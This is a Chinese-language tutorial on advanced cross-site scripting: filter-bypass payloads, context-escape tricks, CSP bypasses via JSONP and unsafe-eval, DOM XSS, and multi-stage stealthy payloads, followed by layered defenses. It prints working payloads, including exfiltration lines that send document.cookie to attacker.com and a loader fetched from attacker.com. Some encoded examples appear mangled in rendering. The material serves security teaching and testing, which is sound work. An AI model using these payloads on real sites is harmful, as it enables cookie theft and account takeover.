跨站脚本攻击(XSS)的变异与绕过技术(实战进阶篇)
描述
跨站脚本攻击(XSS)是一种经典漏洞,攻击者能在受害者的浏览器中执行恶意脚本。在基础防御(如输入验证、输出编码、CSP)普遍应用的今天,攻击者不断进化出复杂的变异与绕过技术。本知识点将深入剖析高级XSS载荷的构造方法、针对现代防御的绕过技巧,并讲解相应的进阶防护策略。重点不在于理解XSS是什么,而在于理解攻击者如何突破现有防护,以及开发者如何建立纵深防御体系。
解题与讲解过程
第一步:回顾XSS核心与基础防御
XSS的本质在于:攻击者控制的数据被浏览器错误地解释为代码并执行。基础防御围绕两点:
- 输入验证/过滤:在服务器端,对用户输入进行清理,移除或转义危险字符(如
<,>,",',&)。 - 输出编码:在将数据输出到不同HTML上下文时,进行正确的编码(如将
<转为<)。 - 内容安全策略(CSP):通过HTTP头定义可信源,限制脚本、样式等资源的加载与执行。
攻击者的目标就是绕过这些机制。
第二步:绕过输入过滤与黑名单
当应用使用不完善的黑名单或正则表达式过滤时,可尝试以下变异:
- 大小写变异:
<SCRIPT>或<ScRiPt>可能绕过对全小写<script>的检测。 - 标签属性与事件处理器的变异:
- 使用不常见的标签和事件:
<svg onload=alert(1)>。<svg>,<math>,<details>等标签都支持事件处理器。 - 利用HTML属性自动URL解码:
<img src=x onerror="alert(1)">可编码为<img src=x onerror=alert(1)>,浏览器执行前会解码。 - 使用JavaScript伪协议且不带引号:
<a href=javascript:alertdocument.domain>click</a>。
- 使用不常见的标签和事件:
- 绕过特定关键字过滤:
- 字符串拆分与拼接:如果过滤
alert,可使用eval('al' + 'ert(1)')或window['al'+'ert'](1)。 - 使用其他函数:用
prompt、confirm或console.log替代alert进行测试。最终利用时可能用fetch或XMLHttpRequest发起请求。 - Unicode或HTML实体编码:
alert可编码为\u0061\u006c\u0065\u0072\u0074或alert。如果输出上下文在属性内且被解码,可能成功。 - 利用
String.fromCharCode:eval(String.fromCharCode(97,108,101,114,116,40,49,41))。
- 字符串拆分与拼接:如果过滤
第三步:利用不完善的输出编码与上下文混淆
输出编码必须与输出上下文严格匹配。混淆上下文是高级攻击的核心。
-
从“非代码”上下文逃逸到“代码”上下文:
- 场景:用户输入被放在一个HTML标签属性内,并被正确引号括起和编码,但攻击者能提前关闭属性并引入新属性。
- 示例:应用代码
<input type="text" value="{{ user_input }}">,并对user_input进行了HTML编码("转")。但如果攻击者输入"><script>alert(1)</script>,经过编码后变为"><script>alert(1)</script>,最终HTML为<input type="text" value=""><script>alert(1)</script>">。这里的"被浏览器解码为",从而提前关闭了value属性,并成功注入新标签。防护:在此上下文中,不仅需编码引号,还需编码>和<。
-
在JavaScript字符串上下文中的逃逸:
- 场景:用户输入被直接放入
<script>标签内的一个字符串中。 - 示例:
<script>var userData = '{{ user_input }}';</script>。应用仅转义了单引号('->\')和反斜杠(\->\\)。 - 攻击:输入
</script><script>alert(1)//。经过转义后变为<\/script><script>alert(1)//。最终HTML为:<script>var userData = '</script><script>alert(1)//';</script>。浏览器解析HTML时,首先看到第一个<script>标签,其内的</script>被转义为字符串的一部分,但随后的<script>会被识别为新的HTML标签,从而开启一个新的脚本块并执行。这利用了HTML解析器优先于JavaScript解析器的原理。 - 防护:除了转义引号和反斜杠,还需对
<和>进行Unicode转义(\u003c,\u003e),或确保将用户输入作为纯文本数据处理,而非可执行的代码/标签。
- 场景:用户输入被直接放入
第四步:绕过内容安全策略(CSP)
CSP是强大的缓解措施,但配置不当仍可绕过。
-
利用允许的脚本源(
script-src):- 如果CSP包含
'unsafe-inline',则内联脚本仍可执行,CSP形同虚设。 - 如果CSP允许特定域(如
script-src https://cdn.example.com),攻击者需在该域上传恶意JS文件(例如通过可上传文件的子域名,或利用该域的其他XSS漏洞)。 - 利用JSONP端点:如果允许的域下存在JSONP接口,且攻击者可控制回调函数名,则可构造
<script src="https://trusted-domain.com/api?callback=alert(document.domain)//"></script>来执行代码。防护:审计允许域下的所有资源,禁用或严格限制JSONP回调函数。
- 如果CSP包含
-
利用
script-src中的'unsafe-eval':- 如果开启了
'unsafe-eval',攻击者可通过eval()、setTimeout()、Function()等函数执行动态代码。即使输入被严格过滤,也可通过字符串拼接构造。
- 如果开启了
-
利用其他指令绕过:
- 通过
img-src或style-src进行数据窃取:即使脚本被阻止,攻击者仍可利用<img src="https://attacker.com/steal?c='+document.cookie+'">来外泄数据,前提是img-src允许向攻击者域发起请求。 - 利用CSP报告机制(
report-uri):在某些特定配置下,可构造导致大量违规报告的载荷,形成DoS攻击或干扰分析。
- 通过
第五步:基于DOM的XSS(DOM XSS)的进阶绕过
DOM XSS的源(Source)和汇(Sink)都在客户端,传统服务器端防护难以覆盖。
-
利用不安全的源到汇的数据流:
- 源:
location.hash、location.search、document.referrer、window.name、postMessage数据等。 - 汇:
eval()、innerHTML、outerHTML、document.write()、某些jQuery方法(如html())、setTimeout()的第一个参数为字符串时等。 - 示例:应用使用
var data = decodeURIComponent(location.hash.substring(1)); document.getElementById('msg').innerHTML = data;。攻击者可构造URL:https://victim.com/page#<img src=x onerror=alert(1)>。受害者访问时,location.hash被解码后直接放入innerHTML,触发XSS。
- 源:
-
利用客户端模板框架的疏忽:某些前端框架(如AngularJS 1.x)在沙箱逃逸后,其模板表达式可能执行JavaScript。
第六步:构建多阶段、隐形的攻击载荷
真实攻击往往不会使用明显的 alert(1)。
- 载荷结构:
- 投放器:一段小巧的初始代码,用于动态加载更大的攻击载荷。例如:
<script src=//attacker.com/loader.js></script>。 - 主载荷:执行键盘记录、窃取Cookie/LocalStorage、发起虚假请求(如转账)、挖掘加密货币等恶意操作。
- 投放器:一段小巧的初始代码,用于动态加载更大的攻击载荷。例如:
- 规避检测:
- 对恶意代码进行混淆和加密。
- 使用合法的CDN域名或子域名来托管恶意脚本。
- 延迟执行,或仅在特定用户行为后触发。
第七步:进阶防护策略(纵深防御)
- 严格的CSP:部署非宽松的CSP,禁止
'unsafe-inline'和'unsafe-eval',并谨慎定义允许的源列表。使用strict-dynamic结合基于哈希或随机数的策略来安全地允许内联脚本。 - 上下文相关的输出编码:使用成熟的库(如OWASP Java Encoder, DOMPurify for JS)进行编码或清理,并明确指定输出上下文(HTML体、HTML属性、JavaScript字符串、CSS、URL)。
- 输入验证作为辅助:在服务器端,使用严格的白名单验证输入格式(如邮箱、电话),而非仅依赖黑名单过滤。长度限制也有助于阻碍复杂载荷。
- 安全的DOM操作:
- 避免将用户可控数据传递给危险的“汇”函数(如
innerHTML,eval)。优先使用安全的API,如textContent或setAttribute。 - 使用
document.createElement和appendChild来创建和插入元素。 - 对框架,使用其提供的安全数据绑定方式(如React的JSX默认转义,Vue的
{{ }}插值)。
- 避免将用户可控数据传递给危险的“汇”函数(如
- 使用专门的清理库:对于富文本等必须接受HTML的场景,使用如DOMPurify这样的库进行清理,它比简单的正则表达式更可靠。
- 漏洞利用缓解:设置
HttpOnly和Secure的Cookie,防止被XSS窃取。考虑使用基于CSP的非ce或哈希来验证脚本完整性。
通过理解这些变异与绕过技术,安全开发者和测试者能够更全面地评估应用对XSS的抵抗力,并实施更有效的纵深防御措施。